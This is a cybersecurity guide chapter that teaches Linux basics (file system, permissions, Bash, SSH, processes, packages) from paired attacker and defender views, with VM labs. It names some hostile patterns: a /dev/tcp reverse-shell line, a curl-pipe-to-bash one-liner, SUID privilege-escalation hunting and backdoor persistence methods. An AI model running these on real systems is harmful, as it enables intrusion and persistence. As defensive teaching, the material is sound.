CYBERSECURITY GUIDE BOOK

CHAPTER 2

Linux Fundamentals

Roadmap step 2 of 12

Master the fundamentals first, then specialize.
Every concept is shown from two sides: how an attacker abuses it,
and how a defender (SOC analyst) detects and stops it.

Author: ashihh07
For learning and authorized lab use only.

> *Linux is where security work happens: servers, cloud machines, SOC tools and attacker toolkits all run on it. This chapter teaches Linux through a security lens: what an attacker touches, and what a defender watches.*

About this chapter

In Chapter 1 you used `ip`, `ss`, `dig`, `curl` and `tcpdump`. All of them are Linux commands. Most web servers, cloud instances, firewalls and security tools run Linux, and the logs a SOC analyst reads live in Linux directories. If you are slow on the command line, you are slow at every investigation.

> **Want a slower, command-by-command beginner walkthrough?** See the companion project linux-for-beginners. This chapter does not repeat it. It covers the six roadmap items with a security focus: installation, file system and permissions, Bash, SSH, processes, and package management.

How each topic is built

- **Concept**: what it is and why it exists.
- **Attacker view**: how the concept gets abused (for understanding and authorized testing only).
- **Defender view**: what to check, what to log, and how to harden.
- **Commands and labs**: everything runs on a Linux VM you own.

Contents

#	Section	Roadmap item covered
1	Why Linux, and installing it safely	Linux Installation
2	The file system	File System and Permissions
3	Users, groups and permissions	File System and Permissions
4	Bash commands	Bash Commands
5	SSH	SSH
6	Processes and services	Process
7	Package management	Package Management
8	Hands-on labs	Practice for all of the above
9	Quick revision sheet	Commands and permission tables
10	Self-check quiz and answers	Test yourself

> **Ground rule for every lab in this book**
>
> - Only scan, capture or test systems you own or have written permission to test.
> - Break things inside a VM, never on your main machine. Take a snapshot first.
> - Unauthorized access can be illegal even if you mean no harm.

1. Why Linux, and installing it safely

Concept

Linux is the kernel. A **distribution** (distro) packages the kernel with tools, a package manager and a desktop. For security work the choice is simple:

Distro	Family	Use it for
Ubuntu / Linux Mint	Debian	Daily learning. Huge documentation. Commands in this book target this family.
Kali Linux	Debian	Pre-loaded offensive tools (Nmap, Burp Suite, Metasploit). Use in a VM for labs.
Debian	Debian	Stable servers.
Rocky / AlmaLinux / RHEL	Red Hat	Enterprise servers. Uses `dnf` and `/var/log/secure`.
Parrot, Security Onion	Debian	Security and SOC-focused toolkits.

Three ways to run it

Method	Safe for beginners?	Note
Virtual machine (VirtualBox, VMware, UTM)	Yes, best choice	Snapshots let you undo mistakes. Isolated from your main system.
WSL2 on Windows	Yes	Fast command-line practice. Limited for networking and kernel labs.
Dual boot / bare metal	Risky	Mistakes can damage the main OS. Do this later.

VM settings that work for labs

- **RAM** 4 GB (2 GB minimum), **CPU** 2 cores, **disk** 25 GB or more.
- **Network:** NAT is the default and is safe. For labs where your host talks to the VM (SSH), add a second adapter set to **Host-only** or use **Bridged**.
- **Snapshot** right after the first clean install and name it `clean-install`. Restore it whenever a lab goes wrong.

> **Attacker view**
>
> - Fake "free tools" ISO downloads and cracked software installers are a common malware delivery route, including for people who study security.

> **Defender view**
>
> - Download ISOs only from the official project site and **verify the checksum**: `sha256sum ubuntu.iso`, then compare with the value published by the project.
> - Keep offensive tools (Kali) inside an isolated VM, not on the machine you bank on.

2. The file system

Concept

Linux has one tree that starts at `/` (root). Everything is a file: documents, devices, even running processes. Learn where things live and you know where evidence lives.

Path	Holds	Security relevance
/	Top of the tree	Not the same as `/root`.
/home	User home directories	Personal files, `~/.ssh`, `~/.bash_history`, `~/.bashrc`.
/root	Home of the root user	Should be unreachable to normal users.
/etc	System configuration	`passwd`, `shadow`, `sudoers`, `ssh/sshd_config`, `crontab`. First place to check for tampering.
/var/log	Logs	`auth.log`, `syslog`, web server logs. The SOC analyst's main data source.
/tmp	Temporary files	World-writable. Attackers drop tools here. Cleared on reboot.
/var/tmp	Temporary files that survive reboot	Same abuse as `/tmp`, harder to notice.
/bin, /usr/bin, /sbin	Commands and system binaries	Replaced or trojaned binaries live here. On modern distros `/bin` is a link to `/usr/bin`.
/usr	Installed programs and libraries	Most software lives under here.
/opt	Optional third-party software	Manually installed tools.
/proc	Live view of processes and kernel (virtual)	`/proc/<PID>/` shows what any process is really doing.
/dev	Devices (disks, terminals, `/dev/null`)	Everything is a file, including hardware.
/boot	Kernel and bootloader	Rootkits target this area.
/mnt, /media	Mount points for disks and USB	Where external drives appear.

Paths

- **Absolute path** starts at `/`: `/etc/ssh/sshd_config`.
- **Relative path** starts where you are: `../logs`. `.` is here, `..` is one level up, `~` is your home.
- Hidden files start with a dot (`.bashrc`). Use `ls -a` to see them. Attackers like hidden files.

```
pwd                 # where am I
ls -la              # long listing, include hidden files
cd /var/log         # go there
cd ~                # back home
tree -L 1 /         # one level of the whole tree (sudo apt install tree)
```

Attacker view

- Write tools and payloads into `/tmp`, `/var/tmp` or `/dev/shm` because any user can write there.
- Hide files with a leading dot, or name a folder `...` (three dots) so it looks like `..` at a glance.
- Replace a binary in `/usr/bin` with a modified copy (a trojan).

Defender view

- Look for recently changed files: `find /etc -mtime -1 -type f` (changed in the last day).
- Watch `/tmp`, `/var/tmp` and `/dev/shm` for executables: `find /tmp /var/tmp /dev/shm -type f -perm -u+x`.
- Use file-integrity tools (AIDE, Wazuh FIM) to alert when files in `/etc` and `/usr/bin` change.

3. Users, groups and permissions

Concept

Every file has an **owner**, a **group** and a set of permissions for three audiences: the **user** (owner), the **group**, and **others**. Every process runs as a user. If you understand who can read, write and execute what, you understand most Linux privilege escalation.

Reading `ls -l`

```
-  rwx  r-x  ---   alice  devs   deploy.sh
|   |    |    |      |     |
|   |    |    |      |     +--- group
|   |    |    |      +--------- owner
|   |    |    +---------------- others: --- (no access)
|   |    +--------------------- group:  r-x (read, execute)
|   +-------------------------- owner:  rwx (read, write, execute)
+------------------------------ type: - file, d directory, l link
```

Letter	Meaning	Octal value	On a file	On a directory
r	read	4	See contents	List names
w	write	2	Change contents	Create and delete files inside
x	execute	1	Run as a program	Enter (`cd`) into it

Add the numbers per audience: `rwx` = 4+2+1 = **7**, `r-x` = 4+1 = **5**, `r--` = **4**, `---` = **0**.

Octal	Symbolic	Typical use
644	rw-r--r--	Normal file: owner edits, everyone reads.
600	rw-------	Private file: SSH private keys.
755	rwxr-xr-x	Program or public directory.
700	rwx------	Private directory (`~/.ssh`).

Octal	Symbolic	Typical use
777	rwxrwxrwx	Everyone can do everything. **Almost always a mistake.**

```
chmod 600 secret.txt          # numeric mode
chmod u+x script.sh           # add execute for the owner
chmod o-rwx private.txt       # remove all access for others
chown alice:devs report.txt   # change owner and group (needs sudo)
umask                         # default mask, 022 on most systems
```

New files start from 666 and new directories from 777, minus the **umask**. With `umask 022` that gives files 644 and directories 755.

Special permission bits

Bit	Octal	Effect	Looks like
SUID	4000	Program runs as its **owner**, not as the person who launched it	`-rwsr-xr-x`
SGID	2000	Program runs as its group. On a directory, new files inherit the group	`-rwxr-sr-x`
Sticky	1000	In a shared directory, only a file's owner can delete it	`drwxrwxrwt` (`/tmp`)

SUID is why `passwd` can edit `/etc/shadow` for a normal user. It is also the most famous privilege-escalation hunting ground, because a SUID-root program with a flaw hands over root.

```
find / -perm -4000 -type f 2>/dev/null      # every SUID file on the system
find / -perm -2000 -type f 2>/dev/null      # every SGID file
find / -perm -0002 -type f 2>/dev/null | grep -v '^/proc'   # world-writable files
```

`2>/dev/null` throws away the "permission denied" noise so you only see results.

Users and the key account files

```
/etc/passwd   alice:x:1001:1001:Alice,,,:/home/alice:/bin/bash
              name : x : UID : GID : comment : home : shell
```

- **UID 0 is root.** Any account other than `root` with UID 0 is a red flag.
- UIDs below 1000 are system accounts (usually with `/usr/sbin/nologin` as the shell). 1000 and above are people.
- `/etc/passwd` is readable by everyone (644). Password hashes live in **`/etc/shadow`**, readable only by root and the shadow group (640). A hash starting with `$6$` is SHA-512; `$y$` is yescrypt.
- `!` or `*` in the hash field means the account cannot log in with a password.

```
id                  # my UID, GID and groups
whoami              # my username
sudo -l             # what am I allowed to run as root?
getent passwd       # all users
last                # recent logins
sudo lastb          # failed logins
```

sudo runs one command with root rights. Who may use it is set in `/etc/sudoers` (edit only with `sudo visudo`, which checks syntax). Members of the `sudo` group (Debian family) or `wheel` group (Red Hat family) get full sudo.

Attacker view

- Run the SUID hunt above, then look for a SUID program that can spawn a shell or write files. Reference: the GTFOBins project.
- Find world-writable scripts that root runs from cron, edit them, and wait.
- Read `sudo -l`: a command allowed as root without a password (`NOPASSWD`) can often be abused.
- Add a backdoor user with UID 0, or add an SSH key to a user's `~/.ssh/authorized_keys`.

Defender view

- Principle of least privilege: give the minimum rights. Never fix a "permission denied" with `chmod 777`.
- Audit regularly: `awk -F: '$3==0' /etc/passwd` must list only `root`. Review `sudo -l` for every service account.
- Keep private keys at 600 and `~/.ssh` at 700. SSH refuses to use keys with loose permissions.
- Alert on new SUID files, new users, and edits to `/etc/passwd`, `/etc/shadow` and `/etc/sudoers`.

4. Bash commands

Concept

Bash is the shell: the program that reads your typed commands and runs them. Learn the core commands, then learn to join them with pipes. That combination is how analysts turn a 500 MB log into three useful lines.

Core commands

Task	Command	Example
Help	`man cmd`, `cmd --help`	`man chmod`
Create	`mkdir`, `touch`	`mkdir -p lab/logs`
Copy / move	`cp`, `mv`	`cp -r dir1 dir2`
Delete	`rm`, `rmdir`	`rm -r olddir`
View a file	`cat`, `less`, `head`, `tail`	`tail -n 50 /var/log/syslog`
Follow a log live	`tail -f`	`sudo tail -f /var/log/auth.log`

Task	Command	Example
Search inside files	`grep`	`grep -ri "password" /etc 2>/dev/null`
Find files	`find`	`find / -name "*.conf" -mtime -7`
Count / sort / unique	`wc` , `sort` , `uniq`	`sort file | uniq -c`
Pick columns	`cut` , `awk`	`awk '{print $1}' access.log`
Where is a program	`which` , `type`	`which python3`
History	`history` , `Ctrl+R`	`history | grep ssh`

> `rm` has no recycle bin. `rm -rf /` or a stray space in `rm -rf /home /` destroys data. Read the command twice before you press Enter, especially with `sudo` .

Redirection and pipes

Symbol	Meaning
`>`	Send output to a file (overwrites)
`>>`	Append output to a file
`2>`	Send errors to a file (`2>/dev/null` discards them)
`|`	Pipe: output of the left command becomes input of the right
`&&`	Run the next command only if the first succeeded
`;`	Run the next command regardless

The pipeline pattern you will use daily

```
read the log  ->  filter lines  ->  pick the field  ->  sort  ->  count  ->  rank
```

```
# Which IPs failed SSH login most often?
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr
| head
```

`$(NF-3)` means "the field 3 from the end", which is the IP address in an SSH failure line. Read it left to right, one stage at a time. Run each stage alone first to see what it produces.

```
# Top 10 IPs hitting a web server
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head
# How many failed logins in total?
grep -c "Failed password" /var/log/auth.log
# Files changed in the last 24 hours under /etc
find /etc -type f -mtime -1
```

Variables and PATH

- `echo $HOME`, `echo $USER`, `echo $PATH` show environment variables.
- `PATH` is a list of folders searched when you type a command. If an attacker places a malicious `ls` in a folder listed **before** `/usr/bin`, typing `ls` runs theirs. Never put `.` or `/tmp` in `PATH`.

A first script

```
#!/bin/bash
# failed-ssh.sh: top 5 source IPs of failed SSH logins
LOG=/var/log/auth.log
grep "Failed password" "$LOG" | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -5
```

```
chmod +x failed-ssh.sh
sudo ./failed-ssh.sh
```

Scripting in depth is Chapter 3.

> **Attacker view**
>
> - `~/.bash_history` often holds passwords typed on the command line. Attackers read it first, and clear it (`history -c`) to hide their steps.
> - One-liners such as `curl http://x/y.sh | bash` run remote code with no review.

> **Defender view**
>
> - Never pipe a download straight into `bash`. Download, read, then run.
> - Keep shell history on (and forward command logs to your SIEM). A missing or truncated history file is itself an alert.
> - Never put passwords on the command line: they land in history and in the process list.

5. SSH

Concept

SSH (Secure Shell, TCP port 22) gives an encrypted remote terminal and file transfer. It replaced Telnet. It is how admins manage servers, so it is also what attackers brute-force first.

```
ssh alice@192.168.56.101                # log in
ssh -p 2222 alice@192.168.56.101        # non-default port
scp report.txt alice@192.168.56.101:/tmp # copy a file over SSH
```

Host keys: the first-connection warning

On first connect SSH shows the server's key fingerprint and stores it in `~/.ssh/known_hosts`. If the key later **changes**, SSH shows a loud warning. That warning is either a rebuilt server or a man-in-the-middle. Do not blindly delete the old entry. Verify first.

Key-based login (do this instead of passwords)

```
ssh-keygen -t ed25519 -C "my-lab-key"          # creates ~/.ssh/id_ed25519 and .pub
ssh-copy-id alice@192.168.56.101               # installs the public key on the server
ssh alice@192.168.56.101                       # now logs in with the key
```

- The **private key** (`id_ed25519`) never leaves your machine. Permissions must be 600.
- The **public key** (`.pub`) goes into the server's `~/.ssh/authorized_keys` . It is safe to share.

Hardening the server

Edit `/etc/ssh/sshd_config` , then test and reload:

```
PermitRootLogin no            # nobody logs in directly as root
PasswordAuthentication no     # keys only, kills password brute force
PubkeyAuthentication yes
AllowUsers alice bob          # only these accounts may log in
MaxAuthTries 3
```

```
sudo sshd -t                  # check the config for errors BEFORE reloading
sudo systemctl reload ssh     # (service is named sshd on Red Hat family)
```

> Before you set `PasswordAuthentication no` , confirm key login works in a **second terminal** and keep the first one open. A wrong setting can lock you out of your own server.

Changing the port from 22 only reduces log noise. It is not security. Keys, no root login and rate limiting are.

Tunneling

`ssh -L 8080:internal-host:80 alice@jump-host` forwards your local port 8080 through an encrypted tunnel to a machine only reachable from `jump-host` . Admins use this legitimately. Attackers use the same feature to pivot into internal networks.

> **Attacker view**
>
> - **Brute force and password spraying** against port 22 from the internet, using common usernames (root, admin, ubuntu).
> - **Stolen private keys** from `~/.ssh` , backups or public repositories. A key with no passphrase works for anyone who holds it.
> - **Persistence** by appending an attacker key to `authorized_keys` .
> - **Pivoting** through SSH tunnels.

Defender view

- Logs: `/var/log/auth.log` (Debian family), `/var/log/secure` (Red Hat family), or `journalctl -u ssh`. Look for many `Failed password` lines, `Invalid user`, and a `Accepted` line right after a long run of failures (the attacker got in).
- Use keys plus a passphrase, disable root login and passwords, restrict with `AllowUsers`, add `fail2ban` to ban repeat offenders, and put admin SSH behind a VPN or firewall allow-list.
- Audit every `authorized_keys` file for keys nobody recognises.

6. Processes and services

Concept

A **process** is a running program with a **PID** (process ID), a **PPID** (its parent), and an owner. Every process was started by another process, so processes form a tree. **Services** (daemons) are long-running background processes, managed on modern distros by **systemd**.

```
ps aux                          # every process: user, PID, CPU, memory, command
ps -ef --forest                 # same, drawn as a parent-child tree
top                             # live view (q to quit); htop is friendlier
pstree -p                       # tree with PIDs
ss -tulpn                       # which process listens on which port
sudo lsof -i                    # which process has which network connection
```

Stopping a process

Signal	Number	Command	Effect
SIGTERM	15	`kill PID`	Ask nicely to exit (default)
SIGKILL	9	`kill -9 PID`	Force kill, no cleanup. Last resort
SIGHUP	1	`kill -1 PID`	Reload config (many daemons)
SIGINT	2	`Ctrl+C`	Interrupt the foreground program

`jobs`, `bg`, `fg` and a trailing `&` control background jobs in your terminal.

Looking inside a process: `/proc`

Every process has a folder `/proc/<PID>/`:

```
ls -l /proc/1234/exe        # the real binary it is running
cat /proc/1234/cmdline | tr '\0' ' '   # its full command line
ls -l /proc/1234/cwd        # its current directory
```

If `exe` shows `(deleted)`, the program is running from a file that was removed from disk. Malware does this to hide.

Services with systemd

```
systemctl status ssh                          # is it running? recent log lines
sudo systemctl start|stop|restart ssh
sudo systemctl enable --now ssh               # start now and at every boot
systemctl list-units --type=service --state=running
systemctl list-unit-files --state=enabled     # what starts at boot
systemctl list-timers                         # systemd's scheduled jobs
journalctl -u ssh --since "1 hour ago"        # logs of one service
```

Scheduled jobs: cron

```
crontab -l                    # my scheduled jobs
sudo crontab -l -u alice      # another user's jobs
ls /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /etc/crontab
```

A cron line has five time fields, then the command: `*/5 * * * * /home/alice/backup.sh` runs every 5 minutes.

Attacker view: persistence After getting in, an attacker wants to survive a reboot. Common places:

- A new **cron** entry or a **systemd** service/timer that re-launches a backdoor.
- Lines added to `~/.bashrc`, `/etc/rc.local` or a profile script.
- A key added to `authorized_keys`, or a new user account.
- Processes disguised with names like `[kworker]` or `sshd` in an odd location, or reverse shells (`bash -i >& /dev/tcp/IP/port`).

Defender view: what looks wrong

- **Parent-child oddities:** a web server process (`nginx`, `apache2`, `php`) spawning `bash` or `sh` is a classic sign of a web shell.
- A process running from `/tmp`, `/dev/shm`, or a deleted binary. A process using unexplained CPU (cryptominer) or holding an outbound connection to an unknown IP.
- Know your baseline: record `systemctl list-unit-files --state=enabled`, `crontab -l` for each user, and `ss -tulpn` on a clean system, then diff against it during an incident.

7. Package management

Concept

A **package manager** installs, updates and removes software from trusted **repositories**, and checks cryptographic signatures. It is also your patching tool: most real-world breaches use known flaws in outdated software.

Family	Tool	Install	Update everything	Remove
Debian / Ubuntu / Mint / Kali	`apt`	`sudo apt install pkg`	`sudo apt update && sudo apt upgrade`	`sudo apt remove pkg`

Family	Tool	Install	Update everything	Remove
Fedora / RHEL / Rocky	`dnf`	`sudo dnf install pkg`	`sudo dnf upgrade`	`sudo dnf remove pkg`
Arch	`pacman`	`sudo pacman -S pkg`	`sudo pacman -Syu`	`sudo pacman -R pkg`
openSUSE	`zypper`	`sudo zypper install pkg`	`sudo zypper update`	`sudo zypper remove pkg`

`apt update` only refreshes the list of available versions. `apt upgrade` actually installs them. You need both, in that order.

```
apt search nmap                # find a package
apt show nmap                  # details, version, dependencies
sudo apt install nmap
apt list --installed | less    # everything installed
apt list --upgradable          # what is waiting to be patched
sudo apt purge pkg             # remove including config files
sudo apt autoremove            # clean unused dependencies
dpkg -L nmap                   # which files did this package install
dpkg -S /usr/bin/ssh           # which package owns this file
```

Other sources exist (`snap` , `flatpak` , `pip` , `npm` , downloaded `.deb` files, `git clone` and `make install`). Each one is a separate trust decision and a separate thing to patch.

Attacker view

- **Typosquatted and malicious packages** on public registries (pip, npm) that look like popular names.
- **Unpatched software:** attackers scan for old versions with known CVEs and fire the public exploit.
- Adding a **malicious repository** or `curl | sudo bash` installers to run code as root.

Defender view

- Patch on a schedule. `sudo apt install unattended-upgrades` applies security updates automatically.
- Add only trusted repositories and keep signature checking on. Review a script before you run it with sudo.
- Keep an inventory (`apt list --installed`) and remove what you do not use: every package is attack surface.
- Check names carefully before `pip install` or `npm install` .

8. Hands-on labs

Do these in a VM you own, after taking the `clean-install` snapshot. Save a short write-up for each (goal, commands, screenshot, what you learned).

Lab 1: Install a VM and snapshot it

Install Ubuntu or Linux Mint in VirtualBox with the settings from section 1. Verify the ISO checksum first. After first boot run `sudo apt update && sudo apt upgrade`, then take a snapshot named `clean-install`.

Goal: a working lab machine you can reset in one click.

Lab 2: Tour the file system

```
ls -la /
ls /etc | head -30
sudo ls -la /var/log
ls -ld /tmp                    # note the t at the end (sticky bit)
cat /etc/os-release
```

Goal: open five folders from the table in section 2 and write one sentence on what an attacker or defender would look for there.

Lab 3: Permissions

```
mkdir ~/permlab && cd ~/permlab
echo "top secret" > secret.txt
ls -l secret.txt                # note the permissions
chmod 600 secret.txt
sudo adduser guest1             # create a second user (follow the prompts)
sudo -u guest1 cat ~/permlab/secret.txt   # should be denied
chmod 644 secret.txt
sudo -u guest1 cat ~/permlab/secret.txt   # directory is in your home, so this may still
fail: why?
```

Goal: explain the last result. (Hint: a file is only reachable if every directory on the path allows the user to enter it.)

Lab 4: Hunt SUID files

```
find / -perm -4000 -type f 2>/dev/null
awk -F: '$3==0' /etc/passwd        # only root should appear
```

Goal: list every SUID file and identify what each is (`passwd` , `sudo` , `mount` are normal). Look up one unfamiliar entry on GTFOBins.

Lab 5: SSH with keys between host and VM

```
# In the VM
sudo apt install openssh-server
sudo systemctl enable --now ssh
ip addr                          # note the VM's host-only or bridged IP

# On your host machine
ssh-keygen -t ed25519
ssh-copy-id youruser@VM_IP
ssh youruser@VM_IP
```

Then follow section 5: test config with `sudo sshd -t`, set `PermitRootLogin no`, reload, and reconnect. Only after key login works in a second terminal, set `PasswordAuthentication no`.

Goal: passwordless login working, root login refused.

Lab 6: Generate and triage failed logins

```
# From the host: three wrong logins against a user that does not exist
ssh fakeuser@VM_IP

# On the VM
sudo grep "Failed password" /var/log/auth.log | tail
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort
-nr
sudo lastb | head
```

If `auth.log` does not exist on your distro, use `sudo journalctl -u ssh | grep "Failed password"`.

Goal: see your own host IP ranked as the top failed-login source and explain every field of one log line.

Lab 7: Plant and find persistence (harmless)

```
(crontab -l 2>/dev/null; echo "*/2 * * * * echo hello >> /tmp/cron_test.txt") | crontab -
crontab -l                       # find it like an analyst would
cat /tmp/cron_test.txt           # after two minutes
ps -ef --forest | grep -i cron
```

Remove it with `crontab -e` and delete the line. Do **not** use `crontab -r`: it wipes all of the user's jobs.

Goal: find the job using only the defender commands from section 6.

Lab 8: Package hygiene

```
apt list --upgradable
apt show nmap
sudo apt install nmap && dpkg -L nmap | head
dpkg -S $(which nmap)
sudo apt remove nmap
```

Goal: explain the difference between `update` and `upgrade`, and between `remove` and `purge`.

> **Next step on TryHackMe:** complete the Linux fundamentals rooms in the Pre Security path, then a Linux privilege escalation room once you finish Chapter 6. Write them up the same way.

9. Quick revision sheet

Commands

Task	Command
Who am I, what can I do	`id`, `whoami`, `sudo -l`
Recent and failed logins	`last`, `sudo lastb`
Find SUID files	`find / -perm -4000 -type f 2>/dev/null`
Find recent changes	`find /etc -type f -mtime -1`
Follow a log	`sudo tail -f /var/log/auth.log`
Top failed SSH IPs	`grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head`
Processes as a tree	`ps -ef --forest`
Listening ports + process	`ss -tulpn`
Enabled services	`systemctl list-unit-files --state=enabled`
Scheduled jobs	`crontab -l`, `ls /etc/cron.*`
Patch status	`apt list --upgradable`

Permission cheat sheet

Octal	Symbolic	Meaning
7	rwx	read, write, execute
6	rw-	read, write
5	r-x	read, execute
4	r--	read only
0	---	nothing

Special: **4000** SUID, **2000** SGID, **1000** sticky. `umask 022` gives files 644, directories 755.

One-line summaries

- **Everything is a file.** Logs live in `/var/log`, config in `/etc`, process internals in `/proc`.
- **Least privilege:** never `chmod 777`. SSH keys 600, `~/.ssh` 700.

- **UID 0 = root.** Only `root` should have it.
- **SSH:** keys on, passwords off, root login off, watch `auth.log`.
- **Persistence spots:** cron, systemd, `.bashrc`, `authorized_keys`, new users.
- **`apt update` refreshes the list, `apt upgrade` installs the patches.**

10. Self-check quiz

Answer without looking back, then open the key.

1. Which directory holds most system configuration, and which holds most logs?
2. What does `chmod 640 file` give to owner, group and others?
3. What does the SUID bit do, and why do defenders audit it?
4. How can you tell an account is effectively root from `/etc/passwd`?
5. Why is `chmod 777` a bad fix for "permission denied"?
6. Name two settings in `sshd_config` that harden SSH.
7. A web server process spawns `/bin/bash`. Why is that suspicious?
8. What is the difference between `kill PID` and `kill -9 PID`?
9. Name three places an attacker might hide persistence on Linux.
10. What is the difference between `apt update` and `apt upgrade`?

> **Show answer key**
>
> 1. `/etc` for configuration, `/var/log` for logs.
> 2. Owner read and write (6), group read only (4), others nothing (0).
> 3. The program runs as its owner (often root) instead of the caller. A flawed SUID-root program gives an attacker root, so defenders list and monitor every SUID file.
> 4. A UID of 0 in the third field. Only `root` should have it.
> 5. It gives every user read, write and execute, so any account or process can change or run the file. Fix the owner, group or specific mode instead.
> 6. Any two of: `PermitRootLogin no`, `PasswordAuthentication no`, `AllowUsers`, `MaxAuthTries 3`.
> 7. Web servers do not normally need a shell. It usually means a web shell or an exploited application.
> 8. `kill PID` sends SIGTERM and lets the program clean up. `kill -9` sends SIGKILL and forces it to stop immediately with no cleanup.
> 9. Any three of: cron jobs, systemd services/timers, `~/.bashrc` or profile scripts, `authorized_keys`, new user accounts, `/etc/rc.local`.
> 10. `update` refreshes the list of available package versions. `upgrade` installs the newer versions.

What comes next

Chapter 3: Programming Basics. You have chained commands with pipes and written a three-line script. Next you learn Python, Bash scripting in depth, JavaScript basics, and the JSON and XML formats security tools use to exchange data.